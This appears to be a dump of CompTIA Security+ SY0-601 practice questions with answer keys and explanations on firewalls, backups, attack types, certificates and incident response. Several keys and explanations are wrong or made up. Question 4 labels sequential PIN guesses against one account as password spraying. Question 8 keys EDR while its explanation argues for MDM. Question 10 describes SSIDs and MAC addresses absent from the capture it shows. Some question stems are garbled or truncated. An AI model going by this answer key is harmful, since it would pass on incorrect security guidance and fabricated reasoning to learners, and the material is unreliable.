



CompTIA

Exam Questions SY0-601

CompTIA Security+ Exam

NEW QUESTION 1

- (Exam Topic 3)

A technician is setting up a new firewall on a network segment to allow web traffic to the internet while hardening the network. After the firewall is configured, users receive errors stating the website could not be located. Which of the following would best correct the issue?

- A. Setting an explicit deny to all traffic using port 80 instead of 443
- B. Moving the implicit deny from the bottom of the rule set to the top
- C. Configuring the first line in the rule set to allow all traffic
- D. Ensuring that port 53 has been explicitly allowed in the rule set

Answer: D

Explanation:

Port 53 is the default port for DNS traffic. If the firewall is blocking port 53, then users will not be able to resolve domain names and will receive errors stating that the website could not be located.

The other options would not correct the issue. Setting an explicit deny to all traffic using port 80 instead of 443 would block all HTTP traffic, not just web traffic. Moving the implicit deny from the bottom of the rule set to the top would make the deny rule more restrictive, which would not solve the issue. Configuring the first line in the rule set to allow all traffic would allow all traffic, including malicious traffic, which is not a good security practice.

Therefore, the best way to correct the issue is to ensure that port 53 has been explicitly allowed in the rule set. Here are some additional information about DNS traffic:

- > DNS traffic is used to resolve domain names to IP addresses.
- > DNS traffic is typically unencrypted, which makes it vulnerable to eavesdropping.
- > There are a number of ways to secure DNS traffic, such as using DNS over HTTPS (DoH) or DNS over TLS (DoT).

NEW QUESTION 2

- (Exam Topic 3)

A security analyst notices an unusual amount of traffic hitting the edge of the network. Upon examining the logs, the analyst identifies a source IP address and blocks that address from communicating with the network. Even though the analyst is blocking this address, the attack is still ongoing and coming from a large number of different source IP addresses. Which of the following describes this type of attack?

- A. DDoS
- B. Privilege escalation
- C. DNS poisoning
- D. Buffer overflow

Answer: A

Explanation:

A distributed denial-of-service (DDoS) attack is an attempt to make a computer or network resource unavailable to its intended users. This is accomplished by overwhelming the target with a flood of traffic from multiple sources.

In the scenario described, the security analyst identified a source IP address and blocked it from communicating with the network. However, the attack was still ongoing and coming from a large number of different source IP addresses. This indicates that the attack was a DDoS attack.

Privilege escalation is an attack that allows an attacker to gain unauthorized access to a system or network. DNS poisoning is an attack that modifies the DNS records for a domain name, causing users to be redirected to a malicious website. A buffer overflow is an attack that occurs when a program attempts to store more data in a buffer than it is designed to hold.

Therefore, the most likely type of attack in the scenario described is a DDoS attack.

NEW QUESTION 3

- (Exam Topic 3)

A local server recently crashed, and the team is attempting to restore the server from a backup. During the restore process, the team notices the file size of each daily backup is large and will run out of space at the current rate.

The current solution appears to do a full backup every night. Which of the following would use the least amount of storage space for backups?

- A. A weekly, incremental backup with daily differential backups
- B. A weekly, full backup with daily snapshot backups
- C. A weekly, full backup with daily differential backups
- D. A weekly, full backup with daily incremental backups

Answer: D

Explanation:

A weekly, full backup with daily incremental backups would use the least amount of storage space for backups, as it would only store the changes made since the last backup, whether it is a full or incremental backup. Incremental backups are faster and use less storage space than full or differential backups, but they require more time and media to restore data. A full backup is a complete copy of all data, which requires more time and storage space to perform, but allows a faster and easier recovery. A differential backup is a copy of the data that changed since the last full backup, which requires less time and storage space than a full backup, but more than an incremental backup. A differential backup allows a faster recovery than an incremental backup, but slower than a full backup. References:

- > <https://www.nakivo.com/blog/backup-types-explained/>

NEW QUESTION 4

- (Exam Topic 3)

A security analyst is investigating what appears to be unauthorized access to a corporate web application. The security analyst reviews the web server logs and finds the following entries:

```
106.35.45.53 - - [22/May/2020:07:00:58 +0100] "GET /login?username=admin&pin=0000 HTTP/1.1" 200 11705
"http://www.example.com/login.php"
106.35.45.53 - - [22/May/2020:07:01:21 +0100] "GET /login?username=admin&pin=0001 HTTP/1.1" 200 11705
"http://www.example.com/login.php"
106.35.45.53 - - [22/May/2020:07:01:52 +0100] "GET /login?username=admin&pin=0002 HTTP/1.1" 200 11705
"http://www.example.com/login.php"
106.35.45.53 - - [22/May/2020:07:02:18 +0100] "GET /login?username=admin&pin=0003 HTTP/1.1" 200 11705
"http://www.example.com/login.php"
106.35.45.53 - - [22/May/2020:07:02:18 +0100] "GET /login?username=admin&pin=0004 HTTP/1.1" 200 11705
"http://www.example.com/login.php"
```

Which of the following password attacks is taking place?

- A. Dictionary
- B. Brute-force
- C. Rainbow table
- D. Spraying

Answer: D

Explanation:

Spraying is a password attack that involves trying a few common passwords against a large number of usernames. Spraying is different from brute-force attacks, which try many possible passwords against one username, or dictionary attacks, which try a list of words from a dictionary file against one username. Spraying is often used when the web application has a lockout policy that prevents multiple failed login attempts for the same username. Spraying can be detected by looking for patterns of failed login attempts from the same source IP address with different usernames and the same or similar passwords.

NEW QUESTION 5

- (Exam Topic 3)

An administrator is configuring a firewall rule set for a subnet to only access DHCP, web pages, and SFTP, and to specifically block FTP. Which of the following would BEST accomplish this goal?

- A. [Permission Source Destination Port]Allow: Any Any 80 -Allow: Any Any 443 -Allow: Any Any 67-Allow: Any Any 68 -Allow: Any Any 22 -Deny: Any Any 21 -Deny: Any Any
- B. [Permission Source Destination Port]Allow: Any Any 80 -Allow: Any Any 443 -Allow: Any Any 67-Allow: Any Any 68 -Deny: Any Any 22 -Allow: Any Any 21 -Deny: Any Any
- C. [Permission Source Destination Port]Allow: Any Any 80 -Allow: Any Any 443 -Allow: Any Any 22-Deny: Any Any 67 -Deny: Any Any 68 -Deny: Any Any 21 -Allow: Any Any
- D. [Permission Source Destination Port]Allow: Any Any 80 -Allow: Any Any 443 -Deny: Any Any 67-Allow: Any Any 68 -Allow: Any Any 22 -Allow: Any Any 21 -Allow: Any Any

Answer: A

Explanation:

This firewall rule set allows a subnet to only access DHCP, web pages, and SFTP, and specifically blocks FTP by allowing or denying traffic based on the source, destination, and port. The rule set is as follows:

- Allow any source and any destination on port 80 (HTTP)
- Allow any source and any destination on port 443 (HTTPS)
- Allow any source and any destination on port 67 (DHCP server)
- Allow any source and any destination on port 68 (DHCP client)
- Allow any source and any destination on port 22 (SFTP)
- Deny any source and any destination on port 21 (FTP)
- Deny any source and any destination on any other port

NEW QUESTION 6

- (Exam Topic 3)

Which of the following tools can assist with detecting an employee who has accidentally emailed a file containing a customer's PII?

- A. SCAP
- B. NetFlow
- C. Antivirus
- D. DLP

Answer: D

Explanation:

DLP stands for Data Loss Prevention, which is a technology that can monitor, detect and prevent the unauthorized transmission of sensitive data, such as PII (Personally Identifiable Information). DLP can be implemented on endpoints, networks, servers or cloud services to protect data in motion, in use or at rest. DLP can also block or alert on data transfers that violate predefined policies or rules. DLP is the best tool to assist with detecting an employee who has accidentally emailed a file containing a customer's PII, as it can scan the email content and attachments for any data that matches the criteria of PII and prevent the email from being sent or notify the administrator of the incident. Verified References:

- Data Loss Prevention Guide to Blocking Leaks - CompTIA <https://www.comptia.org/content/guides/data-loss-prevention-a-step-by-step-guide-to-blocking-leaks>
- Data Loss Prevention – SY0-601 CompTIA Security+ : 2.1 <https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/data-loss-prevention-4/>
- Data Loss Prevention – CompTIA Security+ SY0-501 – 2.1 <https://www.professormesser.com/security-plus/sy0-501/data-loss-prevention-3/>

NEW QUESTION 7

- (Exam Topic 3)

A company wants to deploy PKI on its internet-facing website. The applications that are currently deployed are:

- www.company.com (main website)
- contact-us.company.com (for locating a nearby location)
- quotes.company.com (for requesting a price quote)

The company wants to purchase one SSL certificate that will work for all the existing applications and any future applications that follow the same naming conventions, such as store.company.com. Which of the following certificate types would best meet the requirements?

- A. SAN
- B. Wildcard
- C. Extended validation
- D. Self-signed

Answer: B

Explanation:

A wildcard certificate is a type of SSL certificate that can secure multiple subdomains under one domain name by using an asterisk (*) as a placeholder for any subdomain name. For example, *.company.com can secure www.company.com, contact-us.company.com, quotes.company.com, etc. It can work for all the existing applications and any future applications that follow the same naming conventions, such as store.company.com.

NEW QUESTION 8

- (Exam Topic 3)

A company recently experienced a significant data loss when proprietary information was leaked to a competitor. The company took special precautions by using proper labels; however, email filter logs do not have any record of the incident. An investigation confirmed the corporate network was not breached, but documents were downloaded from an employee's COPE tablet and passed to the competitor via cloud storage. Which of the following is the best mitigation strategy to prevent this from happening in the future?

- A. User training
- B. CAsB
- C. MDM
- D. EDR

Answer: D

Explanation:

MDM stands for mobile device management, which is a solution that allows organizations to manage and secure mobile devices used by employees. MDM can help prevent data loss and leakage by enforcing policies and restrictions on the devices, such as encryption, password, app installation, remote wipe, and so on. MDM can also monitor and audit the device activity and compliance status. MDM can be the best mitigation strategy to prevent data leakage from an employee's COPE tablet via cloud storage, as it can block or limit the access to cloud services, or apply data protection measures such as containerization or encryption.

References:

- > <https://www.blackberry.com/us/en/solutions/corporate-owned-personally-enabled>
- > <https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/mobile-device-management/>

NEW QUESTION 9

- (Exam Topic 3)

A company wants the ability to restrict web access and monitor the websites that employees visit. Which of the following would best meet these requirements?

- A. Internet Proxy
- B. VPN
- C. WAF
- D. Firewall

Answer: A

Explanation:

An internet proxy is a server that acts as an intermediary between a client and a destination server on the internet. It can restrict web access and monitor the websites that employees visit by filtering the requests and responses based on predefined rules and policies, and logging the traffic and activities for auditing purposes.

NEW QUESTION 10

- (Exam Topic 3)

A user reports constant lag and performance issues with the wireless network when working at a local coffee shop. A security analyst walks the user through an installation of Wireshark and gets a five-minute pcap to analyze. The analyst observes the following output:

No.	Time	Source	Destination	Protocol	Length	Info
1234	9.1195665	Sagemcom_87:9f:a3	Broadcast	802.11	38	Deauthentication, SN=655, FN=0
1235	9.1265649	Sagemcom_87:9f:a3	Broadcast	802.11	39	Deauthentication, SN=655, FN=0
1236	9.2223212	Sagemcom_87:9f:a3	Broadcast	802.11	38	Deauthentication, SN=657, FN=0

Which of the following attacks does the analyst most likely see in this packet capture?

- A. Session replay
- B. Evil twin
- C. Bluejacking
- D. ARP poisoning

Answer: B

Explanation:

An evil twin is a type of wireless network attack that involves setting up a rogue access point that mimics a legitimate one. It can trick users into connecting to the rogue access point instead of the real one, and then intercept or modify their traffic, steal their credentials, launch phishing pages, etc. In this packet capture, the analyst can see that there are two access points with the same SSID (CoffeeShop) but different MAC addresses (00:0c:41:82:9c:4f and 00:0c:41:82:9c:4e). This indicates that one of them is an evil twin that is trying to impersonate the other one.

NEW QUESTION 10

- (Exam Topic 3)

During an assessment, a systems administrator found several hosts running FTP and decided to immediately block FTP communications at the firewall. Which of the following describes the greatest risk associated with using FTP?

- A. Private data can be leaked
- B. FTP is prohibited by internal policy.
- C. Users can upload personal files
- D. Credentials are sent in cleartext.

Answer: D

Explanation:

Credentials are sent in cleartext is the greatest risk associated with using FTP. FTP is an old protocol that does not encrypt the data or the credentials that are transmitted over the network. This means that anyone who can capture the network traffic can see the usernames and passwords of the FTP users, as well as the files they are transferring. This can lead to data breaches, identity theft, and unauthorized access. Private data can be leaked (Option A) is a possible consequence of using FTP, but not the root cause of the risk. FTP is prohibited by internal policy (Option B) is a compliance issue, but not a technical risk. Users can upload personal files (Option C) is a management issue, but not a security risk

<https://www.infosecrain.com/blog/comptia-security-sy0-601-domain-5-governance-risk-and-compliance/>

NEW QUESTION 12

- (Exam Topic 3)

Which of the following has been implemented when a host-based firewall on a legacy Linux system allows connections from only specific internal IP addresses?

- A. Compensating control
- B. Network segmentation
- C. Transfer of risk
- D. SNMP traps

Answer: A

Explanation:

A compensating control is a type of security control that is implemented in lieu of a recommended security measure that is deemed too difficult or impractical to implement at the present time. A compensating control must provide equivalent or comparable protection for the system or network and meet the intent and rigor of the original security requirement. An example of a compensating control is using a host-based firewall on a legacy Linux system to allow connections from only specific internal IP addresses, as it can provide a similar level of defense as a network firewall that may not be compatible with the system. References:

- > <https://www.techtarget.com/whatis/definition/compensating-control>
- > <https://reciprocity.com/resources/whats-the-difference-between-compensating-controls-and-mitigating-co>

NEW QUESTION 13

- (Exam Topic 3)

Which of the following supplies non-repudiation during a forensics investigation?

- A. Dumping volatile memory contents first
- B. Duplicating a drive with dd
- C. Using a SHA-2 signature of a drive image
- D. Logging everyone in contact with evidence
- E. Encrypting sensitive data

Answer: C

Explanation:

Using a SHA-2 signature of a drive image is a way to supply non-repudiation during a forensics investigation, as it can verify the integrity and authenticity of the data captured in the image. SHA-2 is a family of secure hash algorithms that can produce a unique and fixed-length digest of any input data. By hashing the drive image and comparing the signature with the original hash, the investigator can prove that the image has not been altered or tampered with since the time of acquisition. This can also help to identify the source of the data and prevent any denial from the suspect. References:

- > <https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/managing-evidence/>
- > <https://www.skillssoft.com/course/comptia-security-incident-response-digital-forensics-supporting-investig>

NEW QUESTION 17

- (Exam Topic 3)

A report delivered to the Chief Information Security Officer (CISO) shows that some user credentials could be exfiltrated. The report also indicates that users tend to choose the same credentials on different systems and applications. Which of the following policies should the CISO use to prevent someone from using the exfiltrated credentials?

- A. MFA
- B. Lockout
- C. Time-based logins
- D. Password history

Answer: A

Explanation:

MFA stands for multi-factor authentication, which is a method of verifying a user's identity using two or more factors, such as something you know (e.g., password), something you have (e.g., token), or something you are (e.g., biometrics). MFA can prevent someone from using the exfiltrated credentials, as they would need to provide another factor besides the username and password to access the system or application. MFA can also alert the legitimate user of an unauthorized login attempt, allowing them to change their credentials or report the incident. References:

- > <https://www.comptia.org/certifications/security>
- > <https://www.youtube.com/watch?v=yCJyPPvM-xg>
- > <https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/multi-factor-authentication-5/>

NEW QUESTION 19

- (Exam Topic 2)

An account was disabled after several failed and successful login connections were made from various parts of the World at various times. A security analyst is investigating the issue. Which of the following account policies most likely triggered the action to disable the

- A. Time based logins
- B. Password history
- C. Geofencing
- D. Impossible travel time

Answer: D

Explanation:

Impossible travel time is a policy that detects and blocks login attempts from locations that are geographically impossible to reach from the previous login location within a certain time frame. For example, if a user logs in from New York and then tries to log in from Tokyo within an hour, the policy would flag this as impossible travel time and disable the account. This policy helps prevent unauthorized access from compromised credentials or attackers using proxy servers. References: 1 CompTIA Security+ Certification Exam Objectives page 6, Domain 1.0: Attacks, Threats, and Vulnerabilities, Objective 1.2: Compare and contrast different types of social engineering techniques 2 CompTIA Security+ Certification Exam Objectives, page 14, Domain 3.0: Implementation, Objective 3.4: Implement identity and account management controls 3 <https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-sign-in-risk-policy#impossi>

NEW QUESTION 24

- (Exam Topic 2)

A security analyst receives an alert that indicates a user's device is displaying anomalous behavior. The analyst suspects the device might be compromised. Which of the following should the analyst do first?

- A. Reboot the device
- B. Set the host-based firewall to deny an incoming connection
- C. Update the antivirus definitions on the device
- D. Isolate the device

Answer: D

Explanation:

Isolating the device is the first thing that a security analyst should do if they suspect that a user's device might be compromised. Isolating the device means disconnecting it from the network or placing it in a separate network segment to prevent further communication with potential attackers or malicious hosts. Isolating the device can help contain the incident, limit the damage or data loss, preserve the evidence, and facilitate the investigation and remediation. References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives> <https://resources.infosecinstitute.com/topic/incident-response-process/>

NEW QUESTION 28

- (Exam Topic 2)

A security engineer learns that a non-critical application was compromised. The most recent version of the application includes a malicious reverse proxy while the application is running. Which of the following should the engineer do to quickly contain the incident with the least amount of impact?

- A. Configure firewall rules to block malicious inbound access.
- B. Manually uninstall the update that contains the backdoor.
- C. Add the application hash to the organization's blocklist.
- D. Turn off all computers that have the application installed.

Answer: C

Explanation:

A reverse proxy backdoor is a malicious reverse proxy that can intercept and manipulate the traffic between the client and the web server. This can allow an attacker to access sensitive data or execute commands on the web server. One possible way to quickly contain the incident with the least amount of impact is to add the application hash to the organization's blocklist. A blocklist is a list of applications or files that are not allowed to run on a system or network. By adding the application hash to the blocklist, the security engineer can prevent the malicious application from running and communicating with the reverse proxy backdoor.

NEW QUESTION 32

- (Exam Topic 2)

A security administrator is compiling information from all devices on the local network in order to gain better visibility into user activities. Which of the following is the best solution to meet this objective?

- A. SIEM

- B. HIDS
- C. CASB
- D. EDR

Answer: A

Explanation:

SIEM stands for Security Information and Event Management, which is a solution that can collect, correlate, and analyze security logs and events from various devices on a network. SIEM can provide better visibility into user activities by generating reports, alerts, dashboards, and metrics. SIEM can also help detect and respond to security incidents, comply with regulations, and improve security posture.

NEW QUESTION 36

- (Exam Topic 2)

A large bank with two geographically dispersed data centers is concerned about major power disruptions at both locations. Every day each location experiences very brief outages that last (or a few seconds). However, during the summer a high risk of intentional under-voltage events that could last up to an hour exists, particularly at one of the locations near an industrial smelter. Which of the following is the BEST solution to reduce the risk of data loss?

- A. Dual supply
- B. Generator
- C. PDU
- D. Daily backups

Answer: B

Explanation:

A generator will provide uninterrupted power to the data centers, ensuring that they are not affected by any power disruptions, intentional or otherwise. This is more reliable than a dual supply or a PDU, and more effective than daily backups, which would not be able to protect against an outage lasting an hour.

NEW QUESTION 38

- (Exam Topic 2)

A security team is providing input on the design of a secondary data center that has Which of the following should the security team recommend? (Select two).

- A. Configuring replication of the web servers at the primary site to offline storage
- B. Constructing the secondary site in a geographically dispersed location
- C. Deploying load balancers at the primary site
- D. Installing generators
- E. Using differential backups at the secondary site
- F. Implementing hot and cold aisles at the secondary site

Answer: BD

Explanation:

* B. Constructing the secondary site in a geographically dispersed location would ensure that a natural disaster at the primary site would not affect the secondary site. It would also allow for failover during traffic surge situations by distributing the load across different regions. D. Installing generators would provide protection against power surges and outages by providing backup power sources in case of a failure. Generators are part of the physical security requirements for data centers as they ensure availability and resilience. References: 1

CompTIA Security+ Certification Exam Objectives, page 8, Domain 2.0: Architecture and Design, Objective 2.1 : Explain the importance of secure staging deployment concepts 2

CompTIA Security+ Certification Exam Objectives, page 9, Domain 2.0: Architecture and Design, Objective 2.3: Summarize secure application development, deployment, and automation concepts 3

CompTIA Security+ Certification Exam Objectives, page 11, Domain 2.0: Architecture and Design, Objective 2.5: Explain the importance of physical security controls

NEW QUESTION 39

- (Exam Topic 2)

A financial institution recently joined a bug bounty program to identify security issues in the institution's new public platform. Which of the following best describes who the institution is working with to identify security issues?

- A. Script kiddie
- B. Insider threats
- C. Malicious actor
- D. Authorized hacker

Answer: D

Explanation:

An authorized hacker, also known as an ethical hacker or a white hat hacker, is someone who uses their skills and knowledge to find and report security issues in a system or application with the permission of the owner. An authorized hacker follows the rules and guidelines of the bug bounty program and does not cause any harm or damage to the system or its users.

NEW QUESTION 43

- (Exam Topic 2)

An employee's laptop was stolen last month. This morning, it was returned by the A cybersecurity analyst retrieved laptop and has since cybersecurity incident checklist Four incident handlers are responsible for executing the checklist. Which of the following best describes the process for evidence collection assurance?

- A. Time stamp
- B. Chain of custody
- C. Admissibility
- D. Legal hold

Answer: B

Explanation:

Chain of custody is a process that documents the chronological and logical sequence of custody, control, transfer, analysis, and disposition of materials, including physical or electronic evidence. Chain of custody is important to ensure the integrity and admissibility of evidence in legal proceedings. Chain of custody can help evidence collection assurance by providing proof that the evidence has been handled properly and has not been tampered with or contaminated.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://www.thoughtco.com/chain-of-custody-4589132>

NEW QUESTION 47

- (Exam Topic 2)

A new security engineer has started hardening systems. One of the hardening techniques the engineer is using involves disabling remote logins to the NAS. Users are now reporting the inability to use SCP to transfer files to the NAS, even though the data is still viewable from the users' PCs. Which of the following is the MOST likely cause of this issue?

- A. TFTP was disabled on the local hosts.
- B. SSH was turned off instead of modifying the configuration file.
- C. Remote login was disabled in the networkd.conf instead of using the ssh
- D. conf.
- E. Network services are no longer running on the NAS

Answer: B

Explanation:

SSH is used to securely transfer files to the remote server and is required for SCP to work. Disabling SSH will prevent users from being able to use SCP to transfer files to the server. To enable SSH, the security engineer should modify the SSH configuration file (sshd.conf) and make sure that SSH is enabled. For more information on hardening systems and the security techniques that can be used, refer to the CompTIA Security+ SY0-601 Official Text Book and Resources.

NEW QUESTION 50

- (Exam Topic 2)

A company is switching to a remote work model for all employees. All company and employee resources will be in the cloud. Employees must use their personal computers to access the cloud computing environment. The company will manage the operating system. Which of the following deployment models is the company implementing?

- A. CYOD
- B. MDM
- C. COPE
- D. VDI

Answer: D

Explanation:

According to Professor Messer's video¹, VDI stands for Virtual Desktop Infrastructure and it is a deploy model where employees use their personal computers to access a virtual machine that runs the company's operating system and applications.

In the scenario described, the company is implementing a virtual desktop infrastructure (VDI) deployment model [1]. This allows employees to access the cloud computing environment using their personal computers, while the company manages the operating system. The VDI model is suitable for remote work scenarios because it provides secure and centralized desktop management, while allowing employees to access desktops from any device.

NEW QUESTION 54

- (Exam Topic 2)

Which of the following would satisfy three-factor authentication requirements?

- A. Password, PIN, and physical token
- B. PIN, fingerprint scan, and iris scan
- C. Password, fingerprint scan, and physical token
- D. PIN, physical token, and ID card

Answer: C

Explanation:

Three-factor authentication combines three types of authentication methods: something you know (password), something you have (physical token), and something you are (fingerprint scan). Option C satisfies these requirements, as it uses a password (something you know), a physical token (something you have), and a fingerprint scan (something you are) for authentication.

Reference: CompTIA Security+ Study Guide (SY0-601) 7th Edition by Emmett Dulaney, Chuck Easttom Note: There could be other options as well that could satisfy the three-factor authentication requirements as per the organization's security policies.

NEW QUESTION 56

- (Exam Topic 2)

During a recent cybersecurity audit, the auditors pointed out various types of vulnerabilities in the production area. The production area hardware runs applications that are critical to production. Which of the following describes what the company should do first to lower the risk to the Production hardware.

- A. Back up the hardware.
- B. Apply patches.
- C. Install an antivirus solution.
- D. Add a banner page to the hardware.

Answer: B

Explanation:

Applying patches is the first step to lower the risk to the production hardware, as patches are updates that fix vulnerabilities or bugs in the software or firmware. Patches can prevent attackers from exploiting known vulnerabilities and compromising the production hardware. Applying patches should be done regularly and in a timely manner, following a patch management policy and process. References: 1
CompTIA Security+ Certification Exam Objectives, page 9, Domain 2.0: Architecture and Design, Objective 2.3: Summarize secure application development, deployment, and automation concepts 2
CompTIA Security+ Certification Exam Objectives, page 10, Domain 2.0: Architecture and Design, Objective 2.4: Explain the importance of embedded and specialized systems security 3 <https://www.comptia.org/blog/patch-management-best-practices>

NEW QUESTION 57

- (Exam Topic 2)

A cybersecurity analyst needs to adopt controls to properly track and log user actions to an individual. Which of the following should the analyst implement?

- A. Non-repudiation
- B. Baseline configurations
- C. MFA
- D. DLP

Answer: A

Explanation:

Non-repudiation is the process of ensuring that a party involved in a transaction or communication cannot deny their involvement. By implementing non-repudiation controls, a cybersecurity analyst can properly track and log user actions, attributing them to a specific individual. This can be achieved through methods such as digital signatures, timestamps, and secure logging mechanisms.

References:

- * 1. CompTIA Security+ Certification Exam Objectives (SY0-601): <https://www.comptia.jp/pdf/CompTIA%20Security%2B%20SY0-601%20Exam%20Objectives.pdf>
- * 2. Stewart, J. M., Chapple, M., & Gibson, D. (2021). CompTIA Security+ Study Guide: Exam SY0-601. John Wiley & Sons.

NEW QUESTION 58

- (Exam Topic 2)

Unauthorized devices have been detected on the internal network. The devices' locations were traced to Ether ports located in conference rooms. Which of the following would be the best technical controls to implement to prevent these devices from accessing the internal network?

- A. NAC
- B. DLP
- C. IDS
- D. MFA

Answer: A

Explanation:

NAC stands for network access control, which is a security solution that enforces policies and controls on devices that attempt to access a network. NAC can help prevent unauthorized devices from accessing the internal network by verifying their identity, compliance, and security posture before granting them access. NAC can also monitor and restrict the activities of authorized devices based on predefined rules and roles.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://www.cisco.com/c/en/us/products/security/what-is-network-access-control-nac.html>

NEW QUESTION 62

- (Exam Topic 2)

Which of the following should a Chief Information Security Officer consider using to take advantage of industry standard guidelines?

- A. SSAE SOC 2
- B. GDPR
- C. PCI DSS
- D. NIST CSF

Answer: D

Explanation:

NIST CSF (National Institute of Standards and Technology Cybersecurity Framework) is a set of guidelines and best practices for managing cybersecurity risks. It is based on existing standards, guidelines, and practices that are widely recognized and applicable across different sectors and organizations. It provides a common language and framework for understanding, communicating, and managing cybersecurity risks. References: 1

CompTIA Security+ Certification Exam Objectives, page 7, Domain 1.0: Attacks, Threats, and Vulnerabilities, Objective 1.4: Explain the techniques used in security assessments 2

CompTIA Security+ Certification Exam Objectives, page 8, Domain 2.0: Architecture and Design, Objective 2.1: Explain the importance of secure staging deployment concepts 3 <https://www.nist.gov/cyberframework>

NEW QUESTION 64

- (Exam Topic 2)

A systems engineer thinks a business system has been compromised and is being used to exfiltrated data to a competitor The engineer contacts the CSIRT The CSIRT tells the engineer to immediately disconnect the network cable and to not do anything else Which of the following is the most likely reason for this request?

- A. The CSIRT thinks an insider threat is attacking the network
- B. Outages of business-critical systems cost too much money
- C. The CSIRT does not consider the systems engineer to be trustworthy
- D. Memory contents including fileles malware are lost when the power is turned off

Answer: D

Explanation:

Memory contents including files and malware are lost when the power is turned off. This is because memory is a volatile storage device that requires constant power to retain data. If a system has been compromised and is being used to exfiltrate data to a competitor, the CSIRT may want to preserve the memory contents for forensic analysis and evidence collection. Therefore, the CSIRT may tell the engineer to immediately disconnect the network cable and not do anything else to prevent further data loss or tampering.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://resources.infosecinstitute.com/topic/memory-acquisition-and-analysis/>

NEW QUESTION 66

- (Exam Topic 2)

The findings in a consultant's report indicate the most critical risk to the security posture from an incident response perspective is a lack of workstation and server investigation capabilities. Which of the following should be implemented to remediate this risk?

- A. HIDS
- B. FDE
- C. NGFW
- D. EDR

Answer: D

Explanation:

EDR solutions are designed to detect and respond to malicious activity on workstations and servers, and they provide a detailed analysis of the incident, allowing organizations to quickly remediate the threat. According to the CompTIA Security+ SY0-601 Official Text Book, EDR solutions can be used to detect malicious activity on endpoints, investigate the incident, and contain the threat. EDR solutions can also provide real-time monitoring and alerting for potential security events, as well as detailed forensic analysis for security incidents. Additionally, the text book recommends that organizations also implement a host-based intrusion detection system (HIDS) to alert them to malicious activity on their workstations and servers.

NEW QUESTION 67

- (Exam Topic 2)

Which of the following best describes a tool used by an organization to identify, log, and track any potential risks and corresponding risk information?

- A. Quantitative risk assessment
- B. Risk register
- C. Risk control assessment
- D. Risk matrix

Answer: B

Explanation:

A risk register is a tool used by an organization to identify, log, and track any potential risks and corresponding risk information. It helps to document the risks, their likelihood, impact, mitigation strategies, and status. A risk register is an essential part of risk management and can be used for projects or organizations.

NEW QUESTION 68

- (Exam Topic 2)

Which of the following would a security analyst use to determine if other companies in the same sector have seen similar malicious activity against their systems?

- A. Vulnerability scanner
- B. Open-source intelligence
- C. Packet capture
- D. Threat feeds

Answer: D

Explanation:

Threat feeds, also known as threat intelligence feeds, are a source of information about current and emerging threats, vulnerabilities, and malicious activities targeting organizations. Security analysts use threat feeds to gather information about attacks and threats targeting their industry or sector. These feeds are typically provided by security companies, research organizations, or industry-specific groups. By using threat feeds, analysts can identify trends, patterns, and potential threats that may target their own organization, allowing them to take proactive steps to protect their systems.

References:

* 1. CompTIA Security+ Certification Exam Objectives (SY0-601): <https://www.comptia.jp/pdf/Security%2B%20SY0-601%20Exam%20Objectives.pdf>

* 2. SANS Institute: Threat Intelligence: What It Is, and How to Use It Effectively: <https://www.sans.org-room/whitepapers/analyst/threat-intelligence-is-effectively-36367>

NEW QUESTION 70

- (Exam Topic 2)

The alert indicates an attacker entered thousands of characters into the text box of a web form. The web form was intended for legitimate customers to enter their phone numbers. Which of the attacks has most likely occurred?

- A. Privilege escalation
- B. Buffer overflow
- C. Resource exhaustion
- D. Cross-site scripting

Answer: B

Explanation:

A buffer overflow attack occurs when an attacker inputs more data than the buffer can store, causing the excess data to overwrite adjacent memory locations and corrupt or execute code¹. In this case, the attacker entered thousands of characters into a text box that was intended for phone numbers, which are much shorter. This could result in a buffer overflow attack that compromises the web application or server. The other options are not related to this scenario. Privilege escalation

is when an attacker gains unauthorized access to higher-level privileges or resources². Resource exhaustion is when an attacker consumes all the available resources of a system, such as CPU, memory, disk space, etc., to cause a denial of service³. Cross-site scripting is when an attacker injects malicious code into a web page that is executed by the browser of a victim who visits the page.

References: 1: <https://www.fortinet.com/resources/cyberglossary/buffer-overflow> 2:

<https://www.imperva.com/learn/application-security/privilege-escalation/> 3: <https://www.imperva.com/learn/application-security/resource-exhaustion/> :
<https://owasp.org/www-community/attacks/xss/>

NEW QUESTION 72

- (Exam Topic 2)

A company is launching a website in a different country in order to capture user information that a marketing business can use. The company itself will not be using the information. Which of the following roles is the company assuming?

- A. Data owner
- B. Data processor
- C. Data steward
- D. Data collector

Answer: D

Explanation:

A data collector is a person or entity that collects personal data from individuals for a specific purpose. A data collector may or may not be the same as the data controller or the data processor, depending on who determines the purpose and means of processing the data and who actually processes the data.

NEW QUESTION 76

- (Exam Topic 2)

A web server log contains two million lines. A security analyst wants to obtain the next 500 lines starting from line 4,600. Which of the following commands will help the security analyst to achieve this objective?

- A. `cat webserver.log | head -4600 | tail +500 |`
- B. `cat webserver.log | tail -1995400 | tail -500 |`
- C. `cat webserver.log | tail -4600 | head -500 |`
- D. `cat webserver.log | head -5100 | tail -500 |`

Answer: D

Explanation:

the `cat` command displays the contents of a file, the `head` command displays the first lines of a file, and the `tail` command displays the last lines of a file. To display a specific number of lines from a file, you can use a minus sign followed by a number as an option for `head` or `tail`. For example, `head -10` will display the first 10 lines of a file.

To obtain the next 500 lines starting from line 4,600, you need to use both `head` and `tail` commands. <https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/file-manipulation-tools/>

NEW QUESTION 80

- (Exam Topic 2)

A junior human resources administrator was gathering data about employees to submit to a new company awards program. The employee data included job title, business phone number, location, first initial with last name, and race. Which of the following best describes this type of information?

- A. Sensitive
- B. Non-PII
- C. Private
- D. Confidential

Answer: B

Explanation:

